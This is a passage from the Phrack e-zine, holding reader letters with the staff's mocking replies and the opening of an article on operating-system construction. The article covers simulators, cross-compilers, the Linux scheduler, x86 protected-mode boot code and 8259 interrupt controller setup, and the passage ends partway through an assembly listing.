Subject: i would like to surf telnetd daemon services

hello <grup name> the best crew in the world

[ Thank you. ]

i had search remote buffer to gain access root in telnetd port daemon but i fail to do it

[ I feel your pain. ]

can you make me one of the remote to attack solaris sparc ... attack from linux or solaris

[ Nope! ]

thanks

need code

[ Need life. ]

syiron

|=[ 0x08 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi! Can you to speak to me the learn for to speak the Unix?

[ I wish Unix I knew to speak it to you good hehe! ]

|=[ 0x09 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "I. O. Jayawardena" <ioshadi@sltnet.lk>

Subject: [phrackstaff] Best wishes

Greetings guys (and gals?),

[ Greetings, I. O. ]

First things first: Phrack is a really good e‑zine, and loopback is just great, but you knew this already ;)

[ Of course! ]

I'm an aspiring hacker and all‑round geek. Girls are scarce over here; knowledge even more so. I developed the hacker state of mind when I was exposed to the Net, while I was studying like a demon for a competition which landed me my Celeron (with some peripherals). While surfing two days ago, I stumbled onto phrack.org and an old flame was rekindled; So here I am...

Really guys, Phrack is a good thing. Keep up the good work. The home page is very nice too... Maybe even chicks will dig it ;)

[ The webmaster has been hoping they would since day 1. ]

I'm a pretty good C and C++ programmer, and the only difficulty I have is money. NO credit cards to pay for books I can buy only online. I'd be very grateful if anyone over there could give me the location of a _free_ machine‑readable copy of "The C Programming Language" by K&R. I doubt if even the universities over here have it (off the record, some professors here don't know that printf(...) actually returns something, but claim to have written Linux kernel modules :| ).

[ If you're a pretty good C programmer, why do you need that particular book? Are you lying to us? Try a library. ]

Anyway, thanks, and I can say with absolute, nay, non‑relative certainty that the number of Phrack readers has increased by one non‑atomically.

[ Geek! ]

alvin

PS: if the only "alvin" you can recall is alvin of the chipmunks, read up a bit on the works of Sir Arthur C. Clarke.

[ No thanks, I'll take your word for it, chipmunk. ]

|=[ 0x0a ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "RAZ" <rafmalai@rafmalai.worldonline.co.uk>

HI

I WONDER IF U CAN HELP ME

[ HI, MAYBE IF YOU STOP SHOUTING! ]

MY NAME IS RAZ AND I LIVE IN LONDON, I HAVE A CONNECTION LINE WITH BT FOR OUR PHONE.

[ That's very nice, Baz. But you're still shouting! ]

RECENTLY WE REC.D OUR BILL WHICH WERE PHONES MADE WHICH WE HAVE NOT MADE, LONG MOBILE PHONES AND INTERNATIONAL, AND WE EVEN THINK WE KNOW WHO DID BUT HOW?? IS IT POSSIBLE TO DO PHONE HACKING OR TAPPING ?

[ Of course. Don't you read Phrack? ]

IF SO HOW..

BT SAID THERE IS NOT WAY AND WE HAVE TO PAY THE BILL WHICH WE WILL BUT INSIDED OUR HEARTS WE KNOW WE DID NOT DO THEM..

CAN U HELP

[ I think you're beyond help. ]

|=[ 0x0b ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "Marcel Feuertein" <webgateknight@hotmail.com>

Subject: [phrackstaff] You have a slight problem on your site.

Hello, to whom it may concern;

When I went to your 'download' link it opened in 'edit' mode.. showing me the total >> Index of /archives>> without the HTML.

[ Really? That's disgraceful! ]

Found your site while searching Yahoo on how to play a video file I downloaded with an .AVI extension with a comment " EG‑VCD" after the name of file, which causes my Windows Media Player to play only the sound .. without the video.

[ Interesting. ]

Thus I was looking for a player/codec to solve this problem.

[ Good luck. ]

Any suggestions are appreciated.

[ I'm all out of ideas. ]

Your site has been added to my favorites. I truly enjoy your content. Congratulations.

[ Thanks. ]

Take care

Marcel

|=[ 0x0c ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: richard fraser <SD_clan@e‑mile.co.uk>

Subject: [phrackstaff] problem

what do i run the programmme under ,you know like what programme do i run it in

[ I've been asking myself that question all my life. ]

richard

|=[ 0x0b ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: bobby@bobby.com

Subject: [phrackstaff] phrakz

Hi,

My nickname is Bobby ‑ Happy Bobby, im 14 years hacker, & im so happy becouse of pCHRAK (or sumthin) 58 issue, finally i had found information how to break into pentagon server, but i have one littl3 pr0blem, i dunno how to log into this server i had tried telnet pentagon.org but my Windows said "Cannot found telnet.exe file", could you tell me what am i doing wrong?

PS.My dick is now 32cm long!, one year ago it was only 5cm, how about yours?

s0ry 4 my b4d inglish (i ate all sesame‑cakes :),

ps0x01.gr33tz to all hacker babes (if they really exists i bet they would like to hack into my pants & meet Big Bobby :)

ps0x02.i tak mierdzicie ledziem :)

ps0x03.pana guampo kanas e ribbon hehe

psx.cya

Happy Bobby

[ ... ]

|=[ 0x0c ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "DANIEL REYNOLDS" <icyflame177@msn.com>

hey yall, I havent done many articles but i think i am up to the challenge. Do you know a subject that I could write on that the ppl that read phrack would enjoy? thankz,

~][cyflame

[ Try it with "The insecurity of my ISP, MSN.COM" ]

|=[ 0x0d ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: piracy <piracy@microsoft.com>

To: phrackedit@phrack.com

Subject: [phrackstaff] How are you

[ ?! thnx, and you guys? ]

|=[ 0x0e ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I got this message from you:

> To: luigi@cs.berkeley.edu

> From: phrackstaff‑admin@phrack.org

> Subject: Your message to phrackstaff awaits moderator approval >

> Posting to a restricted list by sender requires approval

> Either the message will get posted to the list, or you will receive > notification of the moderator's decision.

[ hmm, yes indeed, interesting. Hmm. What might this be Dr.Watson? The moderator's decision is to investigate this posting a little bit further. ]

However, I never sent a message to phrackstaff before this one. So there seems to be a problem. I would kindly request that you do NOT post the message, since I don't know what it contains and don't want it to be attributed to me.

Thank you very much

Luigi Semenzato

|=[ 0x0f ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: gobbles@hushmail.com

Subject: ALERT! BLUE BOAR IS IN #PHRACK! ALERT!

The Blue Boar is currently chatting in #phrack!

ALERT! ALERT! ALERT!

[ Noone of us is in control of this channel. We chill where no phrack staff has chilled before... ]

|=[ 0x10 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "Brian Herdman" <bherdman20@hotmail.com>

Hey.

[ y0! ]

im looking for a copy of the jolly rodger cook book

i used to have it but my hard drive fried and i thought it was gone

forever.....

[ Man, I've been looking for that one for the last 15 years on www.phrack.org but i guess one of the previous editors just rm'ed it. jolly rodger cook book, yummm yumm, that's what's missing on our page....]

|=[ 0x11 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: son gohan <ssjchris61@yahoo.com>

Subject: [phrackstaff] phreak boxes

Hi can i get some info on the tron box?

[ PHRACK != GOOGLE ]

|=[ 0x12 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "Bruce's Email" <bruce@adranch.com>

Subject: [phrackstaff] Passwords

Date: Wed, 10 Apr 2002 13:45:44 ‑0500

How do I figure out someone's password and user name if I have their e‑mail address?

[ The easiest way is just to ask him:

echo "ALL UR PASSW0RDZ R BEL0NG TO US!" | mail target@hotmail.com ]

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Linenoise

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x03 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L I N E N O I S E ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrackstaff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ PHRACK Linenoise Introduction

1.1 PHRACK Oops

1.2 PHRACK Fakes

2 ‑ PHRACK OS Construction

3 ‑ PHRACK ninja lockpicking

4 ‑ PHRACK sportz: fingerboarding

‑‑[ 1 ‑ PHRACK Linenoise Introduction

I think you know what linenoise is about. We had the same cut & paste Linenoise Introduction in the last 10 issues :)

‑‑‑‑[ 1.1 ‑ PHRACK Oops

Oops, For the last 17 years we forgot the .txt extension to the articles.

Some reader complained about a little mistake in p59‑0x01: phrack:~# head ‑20 /usr/include/std‑disclaimer.h

22 lines of the header are actually printed :P

The message of the disclaimer remains:

1) No guarantee on anything.

2) Nobody is responsible.

3) Dont blame us if your kids turn into hackerz.

‑‑‑‑[ 1.2 ‑ PHRACK Fakes

http://www.cafepress.com/cp/store/store.aspx?storeid=phrack

That's not us.

Check out our homepage at http://www.phrack.org for some tshirts.

|=[ 0x02 ]=‑‑‑‑‑‑‑=[ Methodology For OS Construction ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Bill Blunden <wablunden@hotmail.com> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

0 ‑ Introduction

1 ‑ The Critical Path

1.1 Choose a Host Platform

1.2 Build a Simulator

1.3 Build a Cross‑Compiler

1.4 Build and Port The OS

1.5 Bootstrap the Cross‑Compiler

2 ‑ OS Components

2.1 Task Model

2.2 Memory Management

2.3 I/O interface

2.4 File System

2.5 Notes On Security

3 ‑ Simple Case Study

3.1 Host Platform

3.3 Compiler Issues

3.4 Booting Up

3.5 Initializing The OS

3.6 Building and Deploying

4 ‑ References and Credits

‑‑[ 0 ‑ Introduction

Of the countless number of books on operating system design, there are perhaps only three or four, that I know of, which actually discuss how to build a fully‑functional operating system. Even these books focus so narrowly on specific hardware that the essential steps become buried under a pile of agonizing minutiae. This is not necessarily a bad thing, rather it is an unintended consequence. Operating systems are incredibly complicated pieces of software, and dissecting one will yield countless details.

Nevertheless, my motivation for submitting this article is to provide a generic series of steps which can be used to build an OS, from scratch, without bias towards a particular hardware vendor.

"Geese Uncle Don, how do you build an OS ..."

My own understanding of OS construction was rather sketchy until I had the privilege of meeting some old fogeys from Control Data. These were people who had worked on the CDC 6600 with Seymour Cray. The methodology which I am passing on to you was used to build Control Data's SCOPE76 operating system. Although some of the engineers that I spoke with are now in their 70s, I can assure you that the approach they described to me is still very useful and relevant.

During the many hours that I pestered these CDC veterans for details, I heard more than a few interesting war stories. For example, when Control Data came out with the 6600, it was much faster than anything IBM was selling. The execs at Big Blue were so peeved at being upstaged by Cray that they created a paper tiger and told everyone to wait a few months. Unfortunately, it worked. Everyone waited for IBM to deliver ( IBM never did, those bastards ) and this forced CDC to drop the price of the 6600 in half in order to attract customers.

If you are familiar with IBM's business practices, this type of behavior comes as no surprise. Did you know that IBM sold Hollerith tabulators to the Nazis during WWII?

This article is broken into three parts.

Part 1 presents a general approach that may be used to build an operating system. I am intentionally going to be ambiguous. I want the approach to be useful regardless of which hardware platform you are targeting.

For the sake of focusing on the process itself, I delay the finer details of construction until Part 2. In Part 2, I present a rough map that can be used to determine the order in which the components of the OS should be implemented.

For the sake of illuminating a few of the issues that a system engineer will face during OS implementation, I have included a brief discussion of an extended example in part 3. My goal in part 3 is to illustrate some of the points that I make in part 1. I have no intention of offering a production quality OS, there are already a number of excellent examples available. Interested readers can pick up any of the references provided at the end of this article.

‑‑[ 1 ‑ The Critical Path

In the stock market, you typically need money in order to make money. Building an OS is the same way: you need an OS in order to build one.

Let's call the initial OS, and the hardware that it runs on, the 'host' platform. I will refer to the OS to be constructed, and the hardware that it will run on, as the 'target' platform.

‑‑[ 1.1 ‑ Choose a Host Platform

I remember asking a Marine Corp Recon guy once what he thought was the most effective small sidearm. His answer: "whichever one you are the most familiar with."

The same holds true for choosing a host platform. The best host platform to use is the one which you are the most familiar with. You are going to have to perform some fancy software acrobatics and you will need to be intimately familiar with both your host OS and its development tools. In some more pathological cases, it may even help to be familiar with the machine instruction encoding of your hardware. This will allow you to double check what your development tools are spitting out.

You may also discover that there are bugs in your initial set of tools, and be forced to switch vendors. This is a good reason for picking a host platform which is popular enough that their are several tool vendors to choose from. For example, during some system work, on Windows, I discovered a bug in Microsoft's assembler (MASM). As it happened, MASM would refuse to assemble a source file which exceeded a certain number of lines. Fortunately, I was able to buy Borland's nifty Turbo Assembler (TASM) and forge onward.

‑‑[ 1.2 ‑ Build a Simulator

Once you've picked a host platform and decided on an appropriate set of development tools, you will need to build a simulator that replicates the behavior of the target platform's hardware.

This can be a lot more work than it sounds. Not only will you have to reproduce the bare hardware, but you will also have to mimic the BIOS which is burned into the machine's ROM. There are also peripheral devices and micro controllers that you will need to replicate.

Note: The best way to see if you have implemented a simulator correctly is to create an image file of a live partition and see if the simulator will run the system loaded on it. For example, if you built an x86 simulator, then you could test out an image file of a Linux boot partition.

The primary benefit of the simulator is that it will save you from having to work in the dark. There is nothing worse than having your machine crash and not being able to determine why. Watching your Intel box triple fault can be extremely frustrating, primarily because it is almost impossible to diagnose the problem once it has occurred. This is particularly true during the boot phase, where you haven't built enough infrastructure to stream messages to the console.

A simulator allows you to see what is happening in a safe, and controlled, environment. If your code crashes the simulator, you can insert diagnostic procedures to help perform forensic work. You can also run the simulator from within the context of a debugger so that you can single‑step through tricky areas.

The alternative is to run your OS code on raw metal, which will basically preclude your ability to record the machine's state when it crashes. The diagnostic and forensic techniques which you used with the simulator will be replaced by purely speculative tactics. This is no fun, trust me.

For an excellent example of a simulator, you should take a look at the bochs x86 simulator. It is available at:

http://sourceforge.net/projects/bochs

Once thing that I should mention is that it is best to use bochs in conjunction with Linux. This is because bochs works with disk images and the Linux 'dd' command is a readily available and easy way to produce a disk image. For example, the following command takes a floppy disk and produces an image file named floppy.img.

dd if=/dev/fd0 of=floppy.img bs=1k

Windows does not ship with an equivalent tool. Big surprise.

"Back in my day ..."

In the old days, creating a simulator was often a necessity because sometimes the target hardware had not yet gone into production. In those days, a smoke test was truly a smoke test ... they turned on the machines and looked for smoke!

‑‑[ 1.3 ‑ Build a Cross‑Compiler

Once you have a simulator built, you should build a cross‑compiler. Specifically, you will need to construct a compiler which runs on the host platform, but generates a binary which is run by the target platform. Initially you will use the simulator to run everything that the crosscompiler generates. When you feel confident enough with your environment, you can start running code directly on the target platform.

"Speaking words of wisdom, write in C..."

Given that C is the de facto language for doing system work, I would highly recommend getting the source code for compiler like gcc and modifying the backend. The gcc compiler even comes with documentation dedicated to this task, which is why I recommend gcc. There are other public C compilers, like small‑C, that obey a subset of the ANSI spec and may be easier to port.

gcc:http://gcc.gnu.org

small‑C: http://www.ddjembedded.com/languages/smallc

If you want to be different, I suppose you could find a Pascal or Fortran compiler to muck around with. It wouldn't be the first time that someone took the less traveled route. During the early years, the Control Data engineers invented their own variation of Pascal to construct the NOSVE (aka NOSEBLEED) OS. NOSVE was one of those Tower of Babel projects that never made it to production. At Control Data, you weren't considered a real manager until you had at least one big failure under your belt. I bet NOS/VE pushed the manager up to VP status!

‑‑[ 1.4 ‑ Build and Port The OS

OK, you've done all the prep work. It's time to code the OS proper. The finer details of this process are discussed in Part 2. Once you have a prototype OS built than runs well on the simulator you will be faced with the ‑BIG‑ hurdle ... running your code on the actual target hardware.

I found that this is a hurdle which you should jump early on. Do a test run on the target platform as soon as you have the minimal number of working components. Discovering that your code will not boot after 50,000 lines of effort can be demoralizing.

If you were disciplined about designing and testing your simulator, most of your problems will probably be with the OS code itself and perhaps undocumented features in peripheral hardware controllers. This is where investing the time in building a bullet‑proof simulator truly pays off. Knowing that the simulator does its job will allow you to more accurately diagnose problems ... and also save you plenty of sleep.

Finally, I would recommend using a boot disk so that you don't put the hard drive(s) of your target machine at risk. Even the Linux kernel can be made to fit on a single floppy, so for the time being try not to worry about binary size constraints.

‑‑[ 1.5 ‑ Bootstrap the Cross‑Compiler

Congratulations. You have gone where only a select few have gone before. You've built an operating system. However, wouldn't it be nice to have a set of development tools that can be run by your new OS? This can be achieved by bootstrapping the existing cross‑compiler.

Here's how bootstrapping works: You take the source code for your crosscompiler and feed it to the cross‑compiler on the host platform. The cross‑compiler digests this source code and produce a new binary that can be executed by the target OS. You now have a compiler that runs on the target OS and which creates executables that also run on the target OS.

Naturally, I am making a few assumptions. Specifically, I am assuming that the libraries which the cross‑compiler uses are also available on the target OS. Compilers spend a lot of time performing string manipulation and file I/O. If these supporting routines are not present and supported on the target platform, then the newly built compiler is of little utility.

‑‑[ 2 ‑ OS Components

An OS is a strange sort of program in that it must launch and manage itself in addition to launching and managing other programs. Hence, the first thing that an operating system needs to do is bootstrap itself and then set up its various components so that it can do its job.

I would recommend getting your hands on the vendor documentation for your hardware. If you are targeting Intel, then you are in luck because I explain the x86 boot process in Part 3 of this article.

In terms of overall architecture, I would recommend a modular, objectoriented, design. This doesn't mean that you have to use C++. Rather, I am encouraging you to delineate the various portions of the OS into related sets of data and code. Whether or not you use a compiler to enforce this separation is up to you. This approach has its advantages in that it allows you to create sharply delineated boundaries between components. This is good because it allows you to hide/modify each subsystem's implementation.

Tanenbaum takes this idea to an extreme by making core components, like the file system and memory manager, pluggable at runtime. With other operating systems, you would have to re‑compile the kernel to swap core subsystems like the memory manager. With Minix, these components can be switched at runtime. Linux has tried to implement something similar via loadable kernel modules.

As a final aside, you will want to learn the assembly language for the target platform's hardware. There are some OS features that are tied directly to hardware and cannot be provided without executing a few dozen lines of hardware‑specific assembler. The Intel instruction set is probably one of the most complicated. This is primarily due to historical forces that drove Intel to constantly strive for backwards compatibility. The binary encoding of Intel instructions is particularly perplexing.

Which OS component should you tackle first?

In what order should the components be implemented?

I would recommend that you implement the different areas of functionality in the manner described by the following four sections.

‑‑[ 2.1 ‑ Task Model

In his book on OS design, Richard Burgess states that you should try to start with the task control code, and I would tend to agree with him. The task model you choose will impact everything else that you do.

First, and foremost, an operating system manages tasks. What is a task? The Intel Pentium docs define a process as a "unit of work" (V3 p.6‑1).

What was that person smoking? It's like saying that a hat is defined as a piece of clothing. It doesn't give any insight into the true nature of a task. I prefer to think of a task a set of instructions being executed by the CPU in conjunction with the machine state which that execution produces.

Inevitably, the exact definition of a task is spelled out by the operating system's source code.

The Linux kernel (2.4.18) represents each task by a task_struct structure defined in /usr/src/linux/include/linux/sched.h. The kernel's collection of processes are aggregated in two ways. First, they are indexed in a hash table of pointers:

extern struct task_struct *pidhash[PIDHASH_SZ];

The task structures are also joined by next_task and prev_task pointers to form a doubly‑linked list.

struct task_struct

{

:

struct task_struct *next_task, *prev_task;

:

};

You will need to decide if your OS will multi‑task, and if so then what policy will it apply in order to decide when to switch between tasks ( switching tasks is also known as a context switch ). Establishing a mechanism‑policy separation is important because you may decide to change the policy later on and you don't want to have to re‑write all the mechanism code.

Context Switch Mechanism:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On the Intel platform, task switching is facilitated by a set of system data structures and a series of special instructions. Specifically, Intel Pentium class processors have a task register (TR) that is intended to be loaded (via the LTR instruction) with a 16‑bit segment selector. This segment selector indexes a descriptor in the global descriptor table (GDT). The information in the descriptor includes the base address and size of the task state segment (TSS). The TSS is a state‑information repository for a task. It includes register state data (EAX, EBX, etc. ) and keeps track of the memory segments used by a given task. In other words, it stores the 'context' of a task.

The TR register always holds the segment selector for the currently executing task. A task switch is performed by saving the state of the existing process in its TSS and then loading the TR with a new selector. How this actually occurs, in terms of what facilitates the re‑loading of TR, is usually related to hardware timers.

The majority of multi‑tasking systems assign each process a quantum of time. The amount of time that a task receives is a policy decision. An on‑board timer, like the 82C54, can be set up to generate interrupts at evenly spaced intervals. Every time these interrupts occur, the kernel has an opportunity to check and see if it should perform a task switch. If so, an Intel‑based OS can then initiate a task switch by executing a JMP or CALL instruction to the descriptor, in the GDT, of the task to be dispatched. This causes the contents of TR to be changed.

Using the timer facilitates what is known as preemptive multitasking. In the case of preemptive multitasking, the OS decides which task gets to execute in conjunction with a scheduling policy. At the other end of the spectrum is cooperative multitasking, where each task decides when to yield the CPU to another task.

For an exhaustive treatment of task management on Intel, see Intel's Pentium manual (Volume 3, Chapter 6).

Context Switch Policy:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Deciding which process gets the CPU's attention, and for how long, is a matter of policy. This policy is implemented by the scheduler. The Linux kernel has a scheduler which is implemented by the schedule() function located in /usr/src/linux/kernel/sched.c.

There are a lot of little details in the schedule() function related to handling the scenario where there are multiple processors, and there are also a couple of special cases. However, the core actions taken by the scheduler are relatively straightforward. The scheduler looks through the set of tasks that are eligible to execute. These eligible tasks are tracked by the runqueue data structure.

The scheduler looks for the task on the runqueue with the highest 'goodness' value and schedules that task for execution. Goodness is a value calculated by the goodness() function. It basically returns a value which reflects the need for the task to run.

Goodness Spectrum

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑1000: never select this

0: re‑examine entire list of tasks, not just runqueue +ve: the larger, the better

+1000: realtime process, select this.

If the highest goodness values of all the tasks in the runqueue is zero, then the scheduler takes a step back and looks at all of the tasks, not just the ones in runqueue.

To give you an idea of how this is implemented, I've included a snippet of the schedule() function and some of its more memorable lines:

asmlinkage void schedule(void)

{

struct schedule_data * sched_data;

struct task_struct *prev, *next, *p;

struct list_head *tmp;

int this_cpu, c;

:

:

/*

* this is the scheduler proper:

*/

repeat_schedule:

/*

* Default process to select..

*/

next = idle_task(this_cpu);

c = ‑1000;

list_for_each(tmp, &runqueue_head)

{

p = list_entry(tmp, struct task_struct, run_list);

if (can_schedule(p, this_cpu))

{

int weight = goodness(p, this_cpu, prev‑>active_mm);

if (weight > c){ c = weight, next = p; }

}

}

/* Do we need to re‑calculate counters? */

if (unlikely(!c))

{

struct task_struct *p;

spin_unlock_irq(&runqueue_lock);

read_lock(&tasklist_lock);

for_each_task(p)

{

p‑>counter = (p‑>counter >> 1) + NICE_TO_TICKS(p‑>nice); }

read_unlock(&tasklist_lock);

spin_lock_irq(&runqueue_lock);

goto repeat_schedule;

}

:

:

‑‑[ 2.2 ‑ Memory Management

A process both occupies and allocates memory. Once you have a task model sketched out, you will need to give it access to a memory management subsystem. Make sure to keep the interface to the memory subsystem clean, so that you can yank it out and replace it later, if you need to.

On an OS level, memory protection is provided by two mechanisms:

i‑segmentation

ii‑paging

You will have to decide whether or not you want to support these two features. Paging, in particular, is a hardware intensive task. This means that if you do decide to provide paging facilities, porting the OS will be difficult at best. According to Tanenbaum, this is the primary reason why Minix does not support paging.

Segmentation can be enforced by hardware, or can be done manually via a sand boxing technique at the kernel level. Almost everyone relies on hardware based segmentation because it is faster. Like paging, hardware based segmentation will necessarily involve a lot of hardware specific code and a healthy dose of assembly language.

The MMURTL operating system breaks its virtual address space into three segments. There's one code segment for the OS, one code segment for applications, and a single data segment. This doesn't exactly protect the applications from each other, but it does protect the OS.

MMURTL SegmentSelector Value

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

OS code0x08

Apps code0x18

Apps data0x10

MMURTL's memory subsystem is actually set up by the boot sector! That's correct, I said the boot sector. If you look at the source code in bootblok.asm, which Burgess compiles with TASM, you notice that the book code does the book keeping necessary to make the transition to protected mode. Here are a few relevant snippets from the file.

IDTptrDW 7FFh;LIMIT 256 IDT Slots

DD 0000h;BASE (Linear)

GDTptrDW 17FFh;LIMIT 768 slots

DD 0800h;BASE (Linear)

:

:

LIDT FWORD PTR IDTptr ;Load Processor ITD Pointer

LGDT FWORD PTR GDTptr ;Load Processor GDT Pointer

:

:

MOV EAX,CR0 ;Control Register

OR AL,1 ;Set protected mode bit

MOV CR0,EAX

JMP $+2 ;Clear prefetch queue with JMP

NOP

NOP

MOV BX, 10h ;Set up segment registers

MOV DS,BX

MOV ES,BX

MOV FS,BX

MOV GS,BX

MOV SS,BX

;We define a far jump

DB 66h

DB 67h

DB 0EAh

DD 10000h

DW 8h

; now in protect mode

Before he loaded GDTR and IDTR, Burgess loaded the OS into memory so that the base address values in the selectors actually point to valid global and interrupt descriptor tables. It also saves him from having to put these data structures in the boot code, which helps because of the 512 byte size limit.

Most production operating systems use paging as a way to augment the address space which the OS manages. Paging is complicated, and involves a lot of dedicated code, and this code frequently executes ... which adds up to a tremendous loss in performance. Disk I/O is probably the most costly operation an isolated computer can perform. Even with the bookkeeping being pushed down to the hardware, paging eats up time.

Barry Brey, who is an expert on the Intel chip set, told me that paging on Windows eats up about 10% of the execution time. In fact, paging is so costly, in terms of execution time, and RAM is so cheap that it is often a better idea to buy more memory and turn off paging anyways. In light of this, you shouldn't feel like paging is a necessity. If you are designing an embedded OS, you won't need paging anyways.

Back when primary memory cores were 16KB, and those little magnets were big ticket items, paging probably made a whole lot more sense. Today, however, buying a couple GB of SDRAM is not uncommon and this causes me to speculate that maybe paging is a relic of the past.

‑‑[ 2.3 ‑ I/O interface

This is the scary part.

You now have processes, and they live in memory. But they cannot interact with the outside world without connections to I/O devices. Connecting to I/O devices is traditionally performed by sections of code called drivers, which are traditionally buried in the bowels of the OS. As with other components of the OS, you will have to use your assembly language skills.

In Intel protected mode, using the BIOS to get data to the screen is not an option because the old real‑mode way of handling interrupts and addressing memory is no longer valid. One way to send messages to the screen is to write directly to video memory. Most monitors, even flat panels, start up in either VGA 80x25 monochrome text mode or VGA 80x25 color text mode.

memory regionreal‑mode address linear address of buffer

‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑

monochrome text B000[0]:0000 B0000H

color text B800[0]:0000 B8000H

In either case, the screen can display 80 rows and 25 columns worth of character data. Each character takes up two bytes in the video RAM memory region ( which isn't so bad ... 80x25=2000x2=4000 bytes ). You can place a character on the screen by merely altering the contents of video RAM. The lower byte holds the ASCII character, and the high byte holds an attribute.

The attribute bit is organized as follows:

bit 7 blink

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

bit 6

bit 5 background color ( 0H=black )

bit 4

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

bit 3

bit 2 foreground color ( 0EH=white )

bit 1

bit 0

To handle multiple screens, you merely create screen buffers and then commit the virtual screen to video RAM when you want to see it. For example, in protected mode the following code ( written with DJGPP ) will place a 'J' on the screen.

#include <sys/farptr.h>

#include <go32.h>

_farpokeb(_dos_ds, 0xB8000, 'J');

_farpokeb(_dos_ds, 0xB8000+1, 0x0F);

When I saw the following snippet of code in Minix's console.c file, I knew that Minix used this technique to write to the screen.

#define MONO_BASE 0xB0000L/* base of mono video memory */

#define COLOR_BASE 0xB8000L/* base of color video memory */

:

:

PUBLIC void scr_init(tp)

tty_t *tp;

{

:

:

if (color)

{

vid_base = COLOR_BASE;

vid_size = COLOR_SIZE;

}

else

{

vid_base = MONO_BASE;

vid_size = MONO_SIZE;

}

:

:

Handling I/O to other devices on the Intel platform is no where nearly as simple. This is where our old friend the 8259 Programmable Interrupt Controller (PIC) comes into play. Recently I have read a lot in Intel docs about an advanced PIC (i.e. APIC), but everyone still seems to be sticking to the old interrupt controller.

The 8259 PIC is the hardware liaison between the hardware and the processor. The most common setup involves two 8259 PICs configured in a master‑slave arrangement. Each PIC has eight interrupt request lines (IRQ lines) that receive data from external devices ( i.e. the keyboard, hard drive, etc. ). The master 8259 will use its third pin to latch on to the slave 8259 so that, all told, they provide 15 IRQ lines for external hardware. The master 8259 then communicates to the CPU through the CPUs INTR interrupt PIN. The slave 8259 uses it's INTR slot to speak to the master on its third IRQ line.

Normally the BIOS will program the 8259 when then computer boots, but to talk to hardware devices in protected mode, the 8259 must be re‑programmed. This is because the 8259 couples the IRQ lines to interrupt signals. Programming the 8259 will make use of the IN and OUT instructions. You basically have to send 8‑bit values to the 8259's interrupt command register (ICR) and interrupt mask register (IMR) in a certain order. One wrong move and you triple‑fault.

My favorite example of programming the 8259 PIC comes from MMURTL. The following code is located in INITCODE.INC and is invoked during the initialization sequence in MOS.ASM.

;=======================================

; This sets IRQ00‑0F vectors in the 8259s

; to be Int20 thru 2F.

;

; When the PICUs are initialized, all the hardware interrupts are MASKED. ; Each driver that uses a hardware interrupt(s) is responsible ; for unmasking that particular IRQ.

;

PICU1 EQU 0020h

PICU2 EQU 00A0h

Set8259 PROC NEAR

MOV AL,00010001b

OUT PICU1+0,AL ;ICW1 ‑ MASTER

jmp $+2

jmp $+2

OUT PICU2+0,AL ;ICW1 ‑ SLAVE

jmp $+2

